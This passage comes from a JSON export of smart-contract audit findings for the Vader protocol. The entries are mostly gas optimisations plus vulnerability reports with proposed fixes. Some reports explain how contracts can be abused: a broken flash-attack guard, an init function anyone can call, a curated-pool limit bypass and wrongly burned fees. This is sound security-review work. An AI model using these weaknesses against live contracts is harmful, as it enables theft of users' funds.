functions all of which have different sender addresses. It is msg.sender for transfer(), sender parameter for transferFrom() and tx.origin for transferTo(). These different senders are reflected in the sender parameter of _transfer() function. While this sender parameter is correctly used for transfer of tokens within _transfer, the call to _burn() on L129 incorrectly uses msg.sender as the burn address which is correct only in the case of the transfer() caller's context. This is incorrect for transferFrom() and transferTo() caller contexts. This will incorrectly burn the fees from a different (intermediate contract) account for all users of the protocol interacting with the transferTo() and transferFrom() functions and lead to incorrect accounting of token balances or exceptional conditions. Protocol will break and lead to fund loss. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L129 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L122-L134 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L91-L94 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L108-L112 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L116-L119 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change L129 to: _burn(sender, _fee); "}, {"title": "Gas Optimization: DAO.sol Unnecessary Multiple Return Statements", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/200", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle jvaqa # Vulnerability details ## Impact Gas Optimization: DAO.sol Unnecessary Multiple Return Statements ## Recommended Mitigation Steps In DAO.sol, replace this: if(votes > consensus){ return true; } else { return false; } With this: return (votes > consensus) "}, {"title": "Gas Optimization: Utils.sol Make An Unnecessary Multiplication And Division By An Identical Value", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/199", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle jvaqa # Vulnerability details ## Impact Gas Optimization: Utils.sol Make An Unnecessary Multiplication And Division By An Identical Value The value \"(T1 * B1) / T1\" is identical to the value \"B1\", so you can simplify the expression \"B1 + (T1 * B1) / T1\" to \"B1 + B1\". ## Recommended Mitigation Steps In Utils.sol, replace this: uint _redemptionValue = B1 + (T1 * B1) / T1; With this: uint _redemptionValue = B1 + B1; "}, {"title": "Gas Optimization: Vader.sol Unnecessary Conditional", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/197", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle jvaqa # Vulnerability details ## Impact Gas Optimization: Vader.sol Unnecessary Conditional You can remove this conditional entirely. ## Recommended Mitigation Steps In Vader.sol, change this: if(emitting){ emitting = false; } else { emitting = true; } To this: emitting = !emitting; "}, {"title": "The Calculation For nextEraTime Drifts, Causing Eras To Occur Further And Further Into The Future", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/193", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "The Calculation For nextEraTime Drifts, Causing Eras To Occur Further And Further Into The Future"}, {"title": "Gas Optimization: Avoid Unnecessary Expensive SSTORE Calls In Vether.sol By Checking If _fee Is Non-Zero", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/191", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle jvaqa # Vulnerability details ## Impact Avoid Unnecessary Expensive SSTORE Calls In Vether.sol By Checking If _fee Is Non-Zero SSTORE calls (writes to storage) are very expensive, especially for cold-storage slots (those that have not yet been accessed this transaction). We know that the SSTORE call to totalFees will be a cold storage call, since this is the only place in the whole contract that totalFees is used. Vether.sol makes two SSTORE calls in _transfer that are unnecessary when _fee is zero. It will be common for _fee to be zero, since Vether.sol implements an \"excluded addresses\" list (mapAddress_Excluded), where _fee is zero when either the sender or the recipient is on the excludedAddresses list. Currently, anyone can add themselves to the excludedAddresses list, but that is probably a mistake. Nevertheless, since it will probably at least include Uniswap, we should add a check for whether _fee is zero. ## Proof of Concept When _fee is zero, Vether._transfer() nevertheless makes these two unnecessary SSTORE calls: _balances[address(this)] += _fee; totalFees += _fee; ## Recommended Mitigation Steps Change this: _balances[address(this)] += _fee; totalFees += _fee; To this: if(_fee > 0){ _balances[address(this)] += _fee; totalFees += _fee; } "}, {"title": "Gas Optimization: Remove Overflow Check in Vether.sol Since Solidity 0.8.x Disallows Implicit Overflows", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/190", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Gas Optimization: Remove Overflow Check in Vether.sol Since Solidity 0.8.x Disallows Implicit Overflows"}, {"title": "Anyone Can Avoid All Vether Transfer Fees By Adding Their Address to the Vether ExcludedAddresses List.", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/189", "labels": ["bug", "disagree with severity", "3 (High Risk)"], "target": "2021-04-vader-findings", "body": "Anyone Can Avoid All Vether Transfer Fees By Adding Their Address to the Vether ExcludedAddresses List."}, {"title": "Flash loans can affect governance voting in DAO.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/187", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "Flash loans can affect governance voting in DAO.sol"}, {"title": "Unnecessary logic that will never get triggered in DAO.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/186", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The conditional checking if proposal has quorum in finaliseProposal() is unnecessary and will never be triggered because finalising proposals will always have quorum. Proposal without quorum are not finalised in the voteProposal() function. Removing this code will reduce contract size and save some gas. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/DAO.sol#L114-L116 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/DAO.sol#L82-L90 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/DAO.sol#L94-L99 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove code from L114 to L116. "}, {"title": "Undefined behavior for DAO and GRANT vote proposals in DAO.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/183", "labels": ["bug", "disagree with severity", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-04-vader-findings", "body": "Undefined behavior for DAO and GRANT vote proposals in DAO.sol"}, {"title": "Perform early input validation of zero-address for efficiency in DAO.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/182", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Instead of performing a zero-address check in moveRewardAddress on L146 or L152, it is more efficient to do so in newAddressProposal() as soon as the new address is proposed, instead of allowing a proposal for zero-address which goes through the whole voting process. If there is a requirement for zero-address proposals, it should be specified explicitly. Depending on the participation in the voting process, this will save significant amount of gas for all the participants. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/DAO.sol#L69-L74 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/DAO.sol#L144-L154 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Perform input validation of zero-address in newAddressProposal() for proposedAddress parameter. "}, {"title": "Gas savings by replacing public visibility with internal/private for isEqual() function of DAO.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/181", "labels": ["bug", "G (Gas Optimization)", "filed"], "target": "2021-04-vader-findings", "body": "Gas savings by replacing public visibility with internal/private for isEqual() function of DAO.sol"}, {"title": "changeDAO should be a two-step process in Vader.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/162", "labels": ["bug", "disagree with severity", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact changeDAO() updates\u00a0DAO address in one-step. If an incorrect address is mistakenly used (and voted upon) then future administrative access or recovering from this mistake is prevented because onlyDAO modifier is used for changeDAO(), which requires\u00a0msg.sender\u00a0to be the incorrectly used\u00a0DAO\u00a0address (for which private keys may not be available to sign transactions). Reference: See finding #6 from Trail of Bits audit of Hermez Network: https://github.com/trailofbits/publications/blob/master/reviews/hermez.pdf ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L192-L196 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use a two-step process where the old DAO address first proposes new ownership in one transaction and a second transaction from the newly proposed DAO address accepts ownership. A mistake in the first step can be recovered by granting with a new correct address again before the new DAO address accepts ownership. Ideally, there should also be a timelock enforced before the new DAO takes effect. "}, {"title": "Missing DAO functionality to call changeDAO() function in Vader.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/161", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-04-vader-findings", "body": "Missing DAO functionality to call changeDAO() function in Vader.sol"}, {"title": "Missing input validation may set rewardAddress to zero-address in Vader.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/160", "labels": ["bug", "disagree with severity", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Function setRewardAddress is used by DAO to change rewardAddress from USDV to something else. However, there is no zero-address validation on the address. This may accidentally mint rewards to zero-address. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L80 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L209 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L183-L186 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add zero-address check to setRewardAddress. "}, {"title": "Incorrect initialization causes VADER emission rate of 1 second instead of 1 day in Vader.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/155", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-04-vader-findings", "body": "Incorrect initialization causes VADER emission rate of 1 second instead of 1 day in Vader.sol"}, {"title": "Gas savings by removing state variable baseline in Vader.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/153", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Gas savings by removing state variable baseline in Vader.sol"}, {"title": "Gas savings by converting storage variable to immutable in Vader.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/149", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact From Solidity\u2019s documentation (https://docs.soliditylang.org/en/v0.8.4/contracts.html#constant-and-immutable-state-variables), \u201cState variables can be declared as\u00a0constant\u00a0or\u00a0immutable. In both cases, the variables cannot be modified after the contract has been constructed. For\u00a0constant variables, the value has to be fixed at compile-time, while for\u00a0immutable, it can still be assigned at construction time. The compiler does not reserve a storage slot for these variables, and every occurrence is replaced by the respective value. Compared to regular state variables, the gas costs of constant and immutable variables are much lower.\u201d The burnAddress variable can be made immutable. This will avoid the use of one storage slot and lead to gas savings. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L36 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L71 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Make burnAddress immutable. "}, {"title": "Missing DAO functionality to call setParams() function in USDV.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/140", "labels": ["bug", "disagree with severity", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "Missing DAO functionality to call setParams() function in USDV.sol"}, {"title": "Flash attack mitigation does not work as intended in USDV.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/138", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact One of the stated protocol (review) goals is to detect susceptibility to \u201cAny attack vectors using flash loans on Anchor price, synths or lending.\u201d As such, USDV contract aims to protect against flash attacks using flashProof() modifier which uses the following check in isMature() to determine if currently executing contract context is at least blockDelay duration ahead of the previous context: lastBlock[tx.origin] + blockDelay <= block.number However, blockDelay state variable is not initialized which means it has a default uint value of 0. So unless it is set to >= 1 by setParams() which can be called only by the DAO (which currently does not have the capability to call setParams() function), blockDelay will be 0 which allows current executing context (block.number) to be the same as the previous one (lastBlock[tx.origin]). This effectively allows multiple calls on this contract to be executed in the same transaction of a block which enables flash attacks as opposed to what is expected as commented on L41: \"// Stops an EOA doing a flash attack in same block\" Even if the DAO can call setParams() to change blockDelay to >= 1, there is a big window of opportunity for flash attacks until the DAO votes, finalises and approves such a proposal. Moreover, such proposals can be cancelled by a DAO minority or replaced by a malicious DAO minority to launch flash attacks. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/USDV.sol#L22 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/USDV.sol#L140-L142 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/USDV.sol#L35-L44 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/USDV.sol#L174 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Initialize blockDelay to >= 1 at declaration or in constructor. "}, {"title": "Gas savings by declaring state variables constant in USDV.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact From Solidity\u2019s documentation (https://docs.soliditylang.org/en/v0.8.4/contracts.html#constant-and-immutable-state-variables), \u201cState variables can be declared as\u00a0constant\u00a0or\u00a0immutable. In both cases, the variables cannot be modified after the contract has been constructed. For constant variables, the value has to be fixed at compile-time, while for\u00a0immutable, it can still be assigned at construction time. The compiler does not reserve a storage slot for these variables, and every occurrence is replaced by the respective value. Compared to regular state variables, the gas costs of constant and immutable variables are much lower.\u201d State variables name, symbol and decimals can be declared as constants and assigned at declaration (instead of constructor) because they are never modified later. This avoid 3 storage slots and associated expensive SSTOREs/SLOADs to save gas. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/USDV.sol#L12-L13 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Declare state variables name, symbol and decimals as constant. "}, {"title": "Unhandled return value of transfer in transferOut() of Pools.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/128", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "Unhandled return value of transfer in transferOut() of Pools.sol"}, {"title": "Incorrect operator used in deploySynth() of Pools.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/124", "labels": ["bug", "disagree with severity", "2 (Med Risk)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The deploySynth() function in Pools.sol is expected to perform a check on the token parameter to determine that it is neither VADER or USDV before calling Factory\u2019s deploySynth() function. However, the require() incorrectly uses \u2018||\u2019 operator instead of \u2018&&\u2019 which allows both VADER and USDV to be supplied as the token parameters. This will allow an attacker to deploy either VADER or USDV as a Synth which will break assumptions throughout the entire protocol. Protocol will break and funds may be lost. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Pools.sol#L138 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change \u2018||\u2019 operator to \u2018&&\u2019 in the require statement: require(token != VADER && token != USDV); "}, {"title": "User may not get IL protection if certain functions are called directly in Pools.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/120", "labels": ["bug", "disagree with severity", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-04-vader-findings", "body": "User may not get IL protection if certain functions are called directly in Pools.sol"}, {"title": "Gas savings by removing unused state variable _isMember and related getter function isMember() in Pools.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/118", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact _isMember mapping state variable is declared and used only in the getter function isMember(), but is net assigned to anywhere in the contract. This will consume an unnecessary storage slot and along with its getter function will also increase the contract size. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Pools.sol#L22 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Pools.sol#L215-L217 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove _isMember state variable declaration on L22 and related getter function isMember(). "}, {"title": "Pool functions can be called before initialization in init() of Pools.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/114", "labels": ["bug", "disagree with severity", "2 (Med Risk)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "Pool functions can be called before initialization in init() of Pools.sol"}, {"title": "Gas savings by moving inited bool state variable next to an address state variable declaration in Pools.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact A bool in Solidity is internally represented as a unit8 and so required only 8 bits of the 256-bits storage slot. An address variable is 160-bits. So declaring a bool next to an address variable lets Solidity pack them in the same storage slot thereby using one slot instead of two. Moving the inited bool state variable next to one of the address state variables VADER, USDV, ROUTER or FACTORY lets the compiler pack them together in one storage slot instead of two, thereby saving one slot. It costs 20k gas to SSTORE each slot of data. The current order where inited bool is declared before uint does not allow packing because uint itself requires the entire 256-bits of a slot, which forces the compiler to use one full slot for the inited bool variable. For reference, see https://mudit.blog/solidity-gas-optimization-tips/ ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Pools.sol#L13-L20 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Move inited bool state variable declaration next to an address state variable declaration. "}, {"title": "Public functions getSynth() and isSynth() are commented out in Factory.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/110", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-vader-findings", "body": "Public functions getSynth() and isSynth() are commented out in Factory.sol"}, {"title": "Missing event for critical init() function in Factory.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/108", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "Missing event for critical init() function in Factory.sol"}, {"title": "Gas savings by removing unnecessary conditional in isCurated() function of Router.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Gas savings by removing unnecessary conditional in isCurated() function of Router.sol"}, {"title": "Gas savings by breaking from loop after match+replace in replaceAnchor() of Router.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact If the requirement is that listed anchors are unique token addresses, then the loop in replaceAnchor() can break upon match+replace to save gas from executing more loop iterations. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Router.sol#L261-L265 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add a break statement after L263. "}, {"title": "Gas savings by saving state variable in a memory for loop access in replaceAnchor() of Router.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/90", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Gas savings by saving state variable in a memory for loop access in replaceAnchor() of Router.sol"}, {"title": "Lack of input validation in replacePool() allows curated pool limit bypass in Router.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact There is no input validation in replacePool() function to check if oldToken exists and is curated. Using a non-existing oldToken (even 0 address) passes the check on L236 (because Pools.getBaseAmount() will return 0 for the non-existing token) and newToken will be made curated. This can be used to bypass the curatedPoolLimit enforced only in curatePool() function. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Router.sol#L234-L241 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Pools.sol#L227-L229 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Router.sol#L227 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Check if oldToken exists and is curated as part of input validation in replacePool() function. "}, {"title": "Default value of curatedPoolLimit allows only one curated pool in Router.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/86", "labels": ["bug", "disagree with severity", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-vader-findings", "body": "Default value of curatedPoolLimit allows only one curated pool in Router.sol"}, {"title": "Gas savings by changing getILProtection() function\u2019s public visibility to internal/private in Router.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/85", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Gas savings by changing getILProtection() function\u2019s public visibility to internal/private in Router.sol"}, {"title": "Incorrect initialization gives IL protection of only 1 second instead of 100 days in Router.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/84", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "Incorrect initialization gives IL protection of only 1 second instead of 100 days in Router.sol"}, {"title": "Gas savings by removing unused state variable repayDelay in Router.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/78", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact repayDelay uint state variable is declared but never used elsewhere. This will consume an unnecessary storage slot and also increase the contract size. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Router.sol#L35 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove repayDelay state variable declaration on L35. "}, {"title": "Copy-paste bug leading to incorrect harvest rewards in Vault.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/51", "labels": ["bug", "disagree with severity", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The conditional in calcReward() function uses the same code in both if/else parts with repeated use of reserveUSDV, reserveVADER and getUSDVAmount leading to incorrect computed value of _adjustedReserve in the else part. This will affect harvest rewards for all users of the protocol and lead to incorrect accounting. Protocol will break and lead to fund loss. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vault.sol#L141 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vault.sol#L144 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vault.sol#L125 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vault.sol#L105 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change variables and function calls from using USDV to VADER in the else part of the conditional which has to return the adjusted reserves when synth is not an asset i.e. an anchor and therefore base is VADER. L144 should be changed to: uint _adjustedReserve = iROUTER(ROUTER).getVADERAmount(reserveUSDV()) + reserveVADER(); "}, {"title": "Named return variable in harvest() and other functions of Vault.sol and contracts", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/50", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-vader-findings", "body": "Named return variable in harvest() and other functions of Vault.sol and contracts"}, {"title": "Misleading comment for deposit() function of Vault.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/48", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "Misleading comment for deposit() function of Vault.sol"}, {"title": "Gas savings by avoiding re-initialization of POOLS variable in init() function of Vault.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Gas savings by avoiding re-initialization of POOLS variable in init() function of Vault.sol"}, {"title": "Vader.redeemToMember() vulnerable to front running", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/36", "labels": ["bug", "disagree with severity", "2 (Med Risk)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "Vader.redeemToMember() vulnerable to front running"}, {"title": "ERC20 race condition for allowances", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-vader-findings", "body": "ERC20 race condition for allowances"}, {"title": "Transfer fee avoidance ", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/33", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "Transfer fee avoidance "}, {"title": "totalBurnt might be wrong", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/32", "labels": ["bug", "disagree with severity", "1 (Low Risk)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "totalBurnt might be wrong"}, {"title": "Pay double fees in addExcluded of Vether.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "Pay double fees in addExcluded of Vether.sol"}, {"title": "Optimization possible at _transfer", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "Optimization possible at _transfer"}, {"title": "Different pragma solidity", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/25", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)"], "target": "2021-04-vader-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Vault.sol has a different pragma statement than the rest, it contains an additional \"^\". For the record the Vether.sol contract (as deployed here https://etherscan.io/address/0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279#code), has a different solidity version. It's cleaner to use the same versions. ## Proof of Concept DAO.sol:pragma solidity 0.8.3; Factory.sol:pragma solidity 0.8.3; Pools.sol:pragma solidity 0.8.3; Router.sol:pragma solidity 0.8.3; Synth.sol:pragma solidity 0.8.3; USDV.sol:pragma solidity 0.8.3; Utils.sol:pragma solidity 0.8.3; Vader.sol:pragma solidity 0.8.3; Vault.sol:pragma solidity ^0.8.3; Vether.sol:pragma solidity 0.6.4; ## Tools Used Editor ## Recommended Mitigation Steps Use the same solidity versions "}, {"title": "Functions with implicit return values", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/24", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-04-vader-findings", "body": "Functions with implicit return values"}, {"title": "Result of ERC20 transfer not checked", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function transferOut of Pools.sol contains a iERC20(_token).transfer where the result of the function isn't checked. This could result in transfers that don't succeed are undetected. ## Proof of Concept Pools.sol: function transferOut(address _token, uint _amount, address _recipient) internal { if(_token == VADER){ pooledVADER = pooledVADER - _amount; // Accounting } else if(_token == USDV) { pooledUSDV = pooledUSDV - _amount; // Accounting } if(_recipient != address(this)){ iERC20(_token).transfer(_recipient, _amount); } } ## Tools Used Editor ## Recommended Mitigation Steps Add a require statement to check the result: require(...transfer(...) ) "}, {"title": "Not always reason at require", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/20", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-04-vader-findings", "body": "Not always reason at require"}, {"title": "sortArray optimizable", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/19", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "sortArray optimizable"}, {"title": "Init function can be called by everyone", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/18", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-04-vader-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Most of the solidity contracts have an init function that everyone can call. This could lead to a race condition when the contract is deployed. At that moment a hacker could call the init function and make the deployed contracts useless. Then it would have to be redeployed, costing a lot of gas. ## Proof of 